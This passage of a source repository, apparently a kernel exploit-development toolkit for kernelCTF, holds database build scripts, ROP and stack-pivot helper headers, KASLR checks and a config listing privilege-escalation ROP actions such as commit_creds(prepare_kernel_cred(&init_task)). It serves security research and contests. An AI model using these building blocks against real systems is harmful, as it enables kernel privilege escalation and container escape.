LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | set -eo pipefail 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | IMAGE_DB_DIR="$SCRIPT_DIR/../../image_db" 19 | KXDB_DIR="$SCRIPT_DIR/../../kxdb_tool" 20 | 21 | if [ ! -f kernelctf.kxdb ]; then 22 | gcloud storage cp gs://kernelxdk/db/kernelctf.kxdb kernelctf.kxdb 23 | fi 24 | 25 | FILES_TO_DOWNLOAD=$($KXDB_DIR/kxdb_tool.py -i kernelctf.kxdb --partial-list-files 2>/dev/null || true) 26 | if [ -z "$FILES_TO_DOWNLOAD" ]; then echo "Nothing to download, exiting..."; exit 0; fi 27 | 28 | REGEX_FILE_LIST=$(echo "$FILES_TO_DOWNLOAD"|tr ' ' '|') 29 | EXCLUDE_REGEX="^(?!.*/($REGEX_FILE_LIST)$).*" 30 | echo "Files to download: $FILES_TO_DOWNLOAD (regex: $EXCLUDE_REGEX)" 31 | 32 | gcloud storage rsync --recursive "gs://kernel-research/image_db/releases/" "$IMAGE_DB_DIR/releases/" -x "$EXCLUDE_REGEX" 33 | "$KXDB_DIR/kxdb_tool.py" -i kernelctf.kxdb --image-db-path $IMAGE_DB_DIR --partial-sync --output-file kernelctf_new.kxdb 34 | "$KXDB_DIR/kxdb_tool.py" -i kernelctf_new.kxdb -o kernelctf_new.json 35 | 36 | echo "Uploading new db" 37 | for EXT in kxdb json; do 38 | gcloud storage cp -Z -a publicRead kernelctf_new.$EXT gs://kernelxdk/db/kernelctf.$EXT 39 | done 40 | -------------------------------------------------------------------------------- /libxdk/test/logging/PrintfLogger.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include "test/TestSuite.h" 24 | #include "test/logging/TestLogger.h" 25 | 26 | using namespace std; 27 | 28 | class PrintfLogger: public TestLogger { 29 | vector failed_tests_; 30 | 31 | public: 32 | void Begin(const vector>& test_suites, uint test_count); 33 | void End(); 34 | 35 | void TestSuiteBegin(const TestSuite& suite); 36 | 37 | void TestSuiteEnd(const TestSuite& suite); 38 | 39 | void TestSuiteSkip(const TestSuite& suite, uint first_test_idx); 40 | 41 | void TestSuiteFail(const TestSuite& suite, const std::exception& exc); 42 | 43 | void TestSkip(const TestSuite& suite, const Test& test, uint test_idx); 44 | 45 | void TestBegin(const TestSuite& suite, const Test& test, uint test_idx); 46 | 47 | void TestSuccess(const TestSuite& suite, const Test& test, uint test_idx); 48 | 49 | void TestFail(const TestSuite& suite, const Test& test, uint test_idx, 50 | const exception& exc); 51 | 52 | void End(vector& failed_tests); 53 | }; 54 | -------------------------------------------------------------------------------- /.github/scripts/db_merge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -exo pipefail 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | KXDB_DIR="$SCRIPT_DIR/../../kxdb_tool" 19 | 20 | mkdir -p db 21 | rm -rf db/* 22 | 23 | if [ "$1" == "--rebuild" ]; then 24 | echo -n > db_releases.txt 25 | else 26 | gcloud storage cp gs://kernelxdk/db/kernelctf.kxdb db/_original.kxdb; echo 27 | "$KXDB_DIR/kxdb_tool.py" -i db/_original.kxdb --list-targets | grep kernelctf | sed "s/kernelctf\///" > db_releases.txt 28 | fi 29 | 30 | gcloud storage ls gs://kernelxdk/db/kernelctf/*.kxdb > gcs_releases.txt 31 | cat gcs_releases.txt | grep -v -f db_releases.txt > missing_db_releases.txt || true 32 | 33 | if [[ ! -s "missing_db_releases.txt" ]]; then echo "Nothing is missing from DB, exiting..."; exit 0; fi 34 | 35 | echo "The following files were not merged into the DB yet: " 36 | cat missing_db_releases.txt 37 | echo 38 | 39 | cat missing_db_releases.txt | gcloud storage cp -I ./db 40 | 41 | "$KXDB_DIR/kxdb_tool.py" -i "db/*.kxdb" -o kernelctf.kxdb 42 | "$KXDB_DIR/kxdb_tool.py" -i kernelctf.kxdb -o kernelctf.json 43 | 44 | echo "Uploading new db" 45 | for EXT in kxdb json; do 46 | gcloud storage cp -Z -a publicRead kernelctf.$EXT gs://kernelxdk/db/kernelctf.$EXT 47 | done 48 | -------------------------------------------------------------------------------- /libxdk/include/xdk/rip/RopUtils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | /** 24 | * @defgroup rip_classes RIP Classes 25 | * @brief Classes related to Return-Oriented Programming (ROP) utilities. 26 | */ 27 | 28 | /** 29 | * @ingroup rip_classes 30 | * @class RopUtils 31 | * @brief Utility functions for ROP chain generation. 32 | */ 33 | class RopUtils { 34 | public: 35 | /** 36 | * @brief Generates a ROP chain to return to user space after a kernel exploit. 37 | * 38 | * This function sets up a fake user stack and uses the KPTI trampoline to transition back to user space. 39 | * @param rop The RopChain object to add the return-to-user ROP action to. 40 | * @param after_lpe_func The address of the function to execute in user space after returning from the kernel. 41 | * @param stack_size The size of the fake user stack to allocate (default is 0x8000). 42 | * @param redzone_size The size of the redzone at the end of the fake user stack (default is 0x100). 43 | */ 44 | static void Ret2Usr(RopChain& rop, void* after_lpe_func, 45 | size_t stack_size = 0x8000, size_t redzone_size = 0x100); 46 | }; 47 | -------------------------------------------------------------------------------- /libxdk/include/xdk/pivot/StackShiftInfo.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | /** 25 | * @defgroup pivot_classes Pivot Classes 26 | * @brief Classes for stack pivoting and related techniques. 27 | */ 28 | 29 | /** 30 | * @ingroup pivot_classes 31 | * @brief Represents information about a single stack shifting gadget within a chain. 32 | */ 33 | struct StackShiftInfo { 34 | /// @brief The offset within the payload where the address of this stack shift pivot is written. 35 | uint64_t ret_offset; 36 | /// @brief The stack shift pivot gadget. 37 | const StackShiftPivot pivot; 38 | }; 39 | 40 | /** 41 | * @ingroup pivot_classes 42 | * @brief Stores information about a chain of stack shifting gadgets. 43 | */ 44 | struct StackShiftingInfo { 45 | /// @brief A vector of individual stack shift gadget information. 46 | std::vector stack_shifts; 47 | /// @brief The starting offset within the payload where the first stack shift pivot address is written. 48 | uint64_t from_offset; 49 | uint64_t to_offset; 50 | uint64_t next_ret_offset; 51 | 52 | void Apply(uint64_t kaslr_base, Payload& payload); 53 | }; -------------------------------------------------------------------------------- /libxdk/util/HexDump.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | void HexDump::Dump(char* dst, const uint8_t* buf, int len) { 23 | char text[17] = {}; 24 | for (int i = 0; i < len; i++) { 25 | dst += sprintf(dst, "%02X ", buf[i]); 26 | int o = i % 16; 27 | text[o] = ' ' <= buf[i] && buf[i] <= '~' ? buf[i] : '.'; 28 | if (i == len - 1) 29 | dst += sprintf(dst, "%*s | %.*s\n", 3 * (15 - o) + (o < 8 ? 1 : 0), "", 30 | o + 1, text); 31 | else if (o == 7) 32 | dst += sprintf(dst, " "); 33 | else if (o == 15) 34 | dst += sprintf(dst, " | %s\n", text); 35 | } 36 | } 37 | 38 | std::string HexDump::Dump(const void* buf, int len) { 39 | std::string result(((len - 1) / 16 + 1) * 70, 0); 40 | Dump(result.data(), (const uint8_t*)buf, len); 41 | return result; 42 | } 43 | 44 | std::string HexDump::Dump(const std::vector& data) { 45 | return Dump(data.data(), data.size()); 46 | } 47 | 48 | void HexDump::Print(const void* buf, int len) { 49 | printf("%s", Dump(buf, len).c_str()); 50 | } 51 | 52 | void HexDump::Print(const std::vector& data) { 53 | Print(data.data(), data.size()); 54 | } 55 | -------------------------------------------------------------------------------- /kxdb_tool/test/config.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Module containing the configuration for generating the kxdb DB.""" 16 | symbols = [ 17 | # nm: T - text (code) section, global 18 | "prepare_kernel_cred", 19 | "commit_creds", 20 | "find_task_by_vpid", 21 | "switch_task_namespaces", 22 | "__x64_sys_fork", 23 | "msleep", 24 | 25 | # nm: D - initialized data section, global 26 | "init_nsproxy", 27 | 28 | # nm: d - initialized data section, local 29 | "anon_pipe_buf_ops", 30 | ] 31 | 32 | rop_actions = [ 33 | "msleep(ARG_time_msec)", 34 | "commit_creds(prepare_kernel_cred(&init_task))", 35 | "switch_task_namespaces(find_task_by_vpid(ARG_vpid=1), init_nsproxy)", 36 | "write_what_where_64(ARG_address, ARG_new_value)", 37 | "fork()", 38 | "telefork(ARG_sleep_msec=0xffffffff)", 39 | "ret_via_kpti_retpoline(ARG_user_rip, ARG_user_cs, ARG_user_rflags, ARG_user_sp, ARG_user_ss)", 40 | ] 41 | 42 | structs = { 43 | "pipe_buffer": ["ops"], 44 | "pipe_buf_operations": ["release", "get"], 45 | "msg_msg": ["m_list.next", "m_list.prev", "m_type", "m_ts", "next", "security"], 46 | "msg_msgseg": ["next"], 47 | "hfsc_class": ["level", "cl_parent", "vt_node.__rb_parent_color?", 48 | "cf_node.__rb_parent_color?", "cl_vt", "cl_cvtmin"], 49 | } 50 | -------------------------------------------------------------------------------- /.github/scripts/db_process_release.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2024 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -eo pipefail 16 | 17 | SCRIPT_DIR=$(dirname $(realpath "$0")) 18 | IMAGE_DB_DIR="$SCRIPT_DIR/../../image_db" 19 | KXDB_DIR="$SCRIPT_DIR/../../kxdb_tool" 20 | DISTRO="$1" 21 | RELEASE="$2" 22 | 23 | echo "Downloading release $RELEASE" 24 | "$IMAGE_DB_DIR/download_release.sh" "$DISTRO" "$RELEASE" dbgsym,vmlinuz >/dev/null 25 | 26 | echo "Processing release $RELEASE" 27 | "$IMAGE_DB_DIR/download_release.sh" "$DISTRO" "$RELEASE" process --only-db 28 | 29 | echo "Collecting runtime data..." 30 | "$IMAGE_DB_DIR/collect_runtime_data.sh" 31 | 32 | echo "Creating db for release $DISTRO $RELEASE" 33 | "$KXDB_DIR/kxdb_tool.py" -o db.kxdb --image-db-path "$IMAGE_DB_DIR" --release-filter-add "$DISTRO/$RELEASE" 34 | "$KXDB_DIR/kxdb_tool.py" -i db.kxdb -o db.json --indent 4 35 | 36 | if [[ "$3" == "--upload" ]]; then 37 | echo "Uploading dbs" 38 | for EXT in kxdb json; do 39 | gcloud storage cp -Z -a publicRead db.$EXT gs://kernelxdk/db/$DISTRO/$RELEASE.$EXT 40 | done 41 | 42 | echo "Uploading missing image_db information" 43 | gcloud storage rsync "$IMAGE_DB_DIR/releases/$DISTRO/$RELEASE" "gs://kernel-research/image_db/releases/$DISTRO/$RELEASE" -a publicRead -x "^(?!(btf|btf.json|rop_actions.json|slabinfo.txt|stack_pivots.json|structs.json|symbols.txt|version.txt)$).*" 44 | fi 45 | -------------------------------------------------------------------------------- /image_db/releases.yaml: -------------------------------------------------------------------------------- 1 | # Copyright 2024 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | kernelctf: 16 | # 2024-10-14T12:00:00Z 17 | mitigation-v3b-6.1.55: 18 | 19 | # 2024-09-27T12:00:00Z 20 | lts-6.6.52: 21 | cos-105-17412.448.36: 22 | cos-109-17800.309.59: 23 | 24 | # 2024-05-03T12:00:00Z 25 | lts-6.6.28: 26 | cos-109-17800.147.60: 27 | cos-105-17412.294.68: 28 | 29 | # 2024-03-22T12:00:00Z 30 | lts-6.1.81: 31 | cos-97-16919.450.26: 32 | mitigation-v3-6.1.55: 33 | 34 | # 2024-01-19T12:00:00Z 35 | lts-6.1.72: 36 | cos-97-16919.404.33: 37 | cos-105-17412.226.67: 38 | 39 | # 2023-10-20T12:00:00Z 40 | lts-6.1.58: 41 | cos-105-17412.156.69: 42 | cos-97-16919.353.53: 43 | 44 | # 2023-06-30T13:35:00Z 45 | lts-6.1.36: 46 | # 2023-07-19T00:00:00Z 47 | cos-105-17412.101.42: 48 | cos-101-17162.210.48: 49 | cos-97-16919.294.48: 50 | cos-93-16623.402.40: 51 | # 2023-07-08T17:20:00Z 52 | mitigation-6.1-v2: 53 | 54 | ubuntu: 55 | 3.13.0-170.220: 56 | 4.4.0-206.238: 57 | 4.15.0-20.21: 58 | 4.15.0-210.221: 59 | 4.15.0-213.224: 60 | 5.4.0-26.30: 61 | 5.4.0-67.75: 62 | 5.4.0-148.165: 63 | 5.4.0-153.170: 64 | 5.4.0-165.182: 65 | 5.4.0-170.188: 66 | 5.4.0-177.197: 67 | 5.15.0-72.79: 68 | 5.15.0-79.86: 69 | 5.15.0-87.97: 70 | 5.15.0-92.102: 71 | 5.15.0-105.115: 72 | 6.5.0-10.10: 73 | 6.5.0-17.17: 74 | 6.5.0-34.34: 75 | 6.8.0-28.28: 76 | 6.8.0-48.48: -------------------------------------------------------------------------------- /kxdb_tool/converter/partial_sync.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Module containing classes related to add missing partial data to database.""" 16 | from converter.image_db_target import ImageDbTarget 17 | 18 | 19 | class PartialSync: 20 | def __init__(self, old_config, new_config): 21 | self.old_config = old_config 22 | self.new_config = new_config 23 | 24 | def get_missing_files(self): 25 | configs = { 26 | "symbols": ImageDbTarget.SYMBOLS_TXT, 27 | "rop_actions": ImageDbTarget.ROP_ACTIONS_JSON, 28 | "structs": ImageDbTarget.STRUCTS_JSON 29 | } 30 | 31 | missing_files = [] 32 | for prop, fn in configs.items(): 33 | new = getattr(self.new_config, prop) 34 | old = getattr(self.old_config, prop) 35 | missing_items = [item for item in new if item not in old] 36 | if missing_items: 37 | missing_files.append(fn) 38 | 39 | return missing_files 40 | 41 | def sync(self, old_targets, new_targets, logger): 42 | by_version = {str(t): t for t in new_targets} 43 | 44 | for target in old_targets: 45 | new_target = by_version.get(str(target)) 46 | if not new_target: 47 | logger.error(f"Target cannot be upgraded as new target was not found: {target}") 48 | continue 49 | 50 | for key, value in vars(new_target).items(): 51 | if value: 52 | setattr(target, key, value) 53 | -------------------------------------------------------------------------------- /libxdk/include/xdk/util/pwn_utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | 21 | /** 22 | * @defgroup util_classes Utility Classes 23 | * @brief Helper classes for various utilities. 24 | */ 25 | 26 | /** 27 | * @ingroup util_classes 28 | * @brief Checks if the provided address is a valid KASLR base address. 29 | * 30 | * @param kbase_addr The address to check. 31 | * @return True if the address is a valid KASLR base, false otherwise. 32 | */ 33 | bool is_kaslr_base(uint64_t kbase_addr); 34 | 35 | /** 36 | * @ingroup util_classes 37 | * @brief Checks if the provided address is a valid KASLR base address. 38 | * 39 | * @param kbase_addr The address to check. 40 | * @return The checked KASLR base address if valid. 41 | */ 42 | uint64_t check_kaslr_base(uint64_t kbase_addr); 43 | 44 | /** 45 | * @ingroup util_classes 46 | * @brief Checks if the provided address is a valid kernel heap pointer. 47 | * 48 | * @param heap_leak The address to check. 49 | * @return The checked kernel heap pointer if valid. 50 | */ 51 | uint64_t check_heap_ptr(uint64_t heap_leak); 52 | 53 | /** 54 | * @ingroup util_classes 55 | * @brief Pins the calling thread to the specified CPU. 56 | * 57 | * @param cpu The CPU the calling thread should be pinned to. 58 | * @throws errno_error if the operation fails 59 | */ 60 | void pin_cpu(int cpu); -------------------------------------------------------------------------------- /.github/workflows/test-kxdb-tool.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | name: Test kxdb_tool 16 | on: 17 | push: 18 | paths: 19 | - 'kxdb_tool/**' 20 | pull_request: 21 | permissions: {} 22 | jobs: 23 | changes: 24 | if: github.event_name == 'pull_request' 25 | permissions: 26 | pull-requests: read 27 | outputs: 28 | kxdb_tool: ${{ steps.filter.outputs.kxdb_tool }} 29 | runs-on: ubuntu-latest 30 | steps: 31 | - uses: actions/checkout@v4 32 | - id: filter 33 | uses: dorny/paths-filter@v3 34 | with: 35 | filters: "kxdb_tool: ['kxdb_tool/**']" 36 | 37 | tests: 38 | needs: changes 39 | if: ${{ always() && (github.event_name != 'pull_request' || needs.changes.outputs.kxdb_tool == 'true') }} 40 | runs-on: ubuntu-latest 41 | timeout-minutes: 20 42 | steps: 43 | - name: Checkout repo 44 | uses: actions/checkout@v4 45 | 46 | - name: Install kxdb_tool prerequisites 47 | working-directory: ./kxdb_tool 48 | run: pip install -r requirements.txt 49 | 50 | - name: Test kxdb_tool 51 | working-directory: ./kxdb_tool 52 | run: ./test.sh 53 | 54 | - name: Send Google Chat Notification (on failure) 55 | if: ${{ failure() }} 56 | env: 57 | WEBHOOK_URL: ${{ secrets.WEBHOOK_EXPKIT }} 58 | run: node ./.github/scripts/send_notification.js 59 | -------------------------------------------------------------------------------- /third_party/linux/scripts/extract-vmlinux: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /libxdk/test/TestEnvironment.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Google LLC 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | #pragma once 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | class TestEnvironment { 24 | std::string target_db_path_; 25 | std::optional xdk_; 26 | std::optional target_db_; 27 | std::optional target_; 28 | 29 | public: 30 | /** 31 | * @brief Sets the path to the target database file. 32 | * @param target_db_path The path to the target database. 33 | */ 34 | void SetTargetDbPath(const std::string& target_db_path); 35 | 36 | /** 37 | * @brief Gets the XdkDevice instance. 38 | * @return A reference to the XdkDevice instance. 39 | * @throws ExpKitError if the xdk kernel module is not available. 40 | */ 41 | XdkDevice& GetXdkDevice(); 42 | 43 | /** 44 | * @brief Gets the Target database instance (which contains all the information 45 | * of the targets). 46 | * @return A reference to the TargetDb instance. 47 | * @throws ExpKitError if the target db path was not specified. 48 | */ 49 | TargetDb& GetTargetDb(); 50 | 51 | /** 52 | * @brief Gets the automatically detected Target instance. 53 | * @return A reference to the Target instance. 54 | * @throws ExpKitError if auto-detection fails or the target DB path is not 55 | * set. 56 | */ 57 | Target& GetTarget(); 58 | }; 59 | -------------------------------------------------------------------------------- /libxdk/leak/LeakedBuffer.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2025 Google LLC 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include 16 | #include "xdk/util/error.h" 17 | 18 | LeakedBuffer::LeakedBuffer(Target& target, std::vector data): target_(target), data_(data) { } 19 | 20 | uint64_t LeakedBuffer::Read(uint64_t offset, size_t size) { 21 | if (offset > data_.size() - size) 22 | throw ExpKitError("reading out of leaked buffer: offset=%lu, read size=%lu, buffer_size=%lu", offset, size, data_.size()); 23 | 24 | auto ptr = &data_[offset]; 25 | if (size == 1) 26 | return *ptr; 27 | else if (size == 2) 28 | return *(uint16_t*)ptr; 29 | else if (size == 4) 30 | return *(uint32_t*)ptr; 31 | else if (size == 8) 32 | return *(uint64_t*)ptr; 33 | 34 | throw ExpKitError("unsupported read size: %lu, supported sizes: 1, 2, 4 and 8", size); 35 | } 36 | 37 | std::map LeakedBuffer::GetStruct(const std::string& struct_name, int64_t struct_offset) { 38 | std::map result; 39 | for (auto field : target_.GetStruct(struct_name).fields) 40 | result[field.first] = Read(struct_offset + field.second.offset, field.second.size); 41 | return result; 42 | } 43 | 44 | uint64_t LeakedBuffer::GetField(const std::string& struct_name, const std::string& field_name, int64_t struct_offset) { 45 | auto str = target_.GetStruct(struct_name); 46 | auto field = str.fields.at(field_name); 47 | return Read(struct_offset + field.offset, field.size); 48 | } 49 | -------------------------------------------------------------------------------- /libxdk/test/check_test_run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env -S python3 -u 2 | # Copyright 2025 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | import re 17 | import os 18 | import sys 19 | 20 | def read_file(fn): 21 | if not os.path.isfile(fn): 22 | raise RuntimeError(f"File not found: {fn}") 23 | 24 | with open(fn, "rt") as f: 25 | return f.read() 26 | 27 | round_id = sys.argv[1] 28 | tap_fn = f"test_results/round_{round_id}.txt" 29 | dmesg_fn = f"test_results/dmesg_{round_id}.txt" 30 | 31 | def check_tap(): 32 | tap_results = read_file(tap_fn) 33 | tap_match = re.match(r"(?:^|\n)1..(\d+)(.*)\n", tap_results, re.DOTALL) 34 | if not tap_match: 35 | print("Could not find tap results in output") 36 | return False 37 | 38 | test_count = int(tap_match.group(1)) 39 | ok_tests = set(int(test_nr) for test_nr in re.findall(r"\nok (\d+)", tap_match.group(2))) 40 | missing_tests = set(range(1, test_count + 1)) - ok_tests 41 | 42 | if missing_tests: 43 | print(f"The following tests were not run successfully: {', '.join(str(x) for x in sorted(missing_tests))}") 44 | 45 | return not missing_tests 46 | 47 | def check_dmesg(): 48 | dmesg = read_file(dmesg_fn) 49 | crash = re.split(r"=== COMMAND-BEGIN:.*?===\n", dmesg)[1] 50 | dmesg_success = "=== 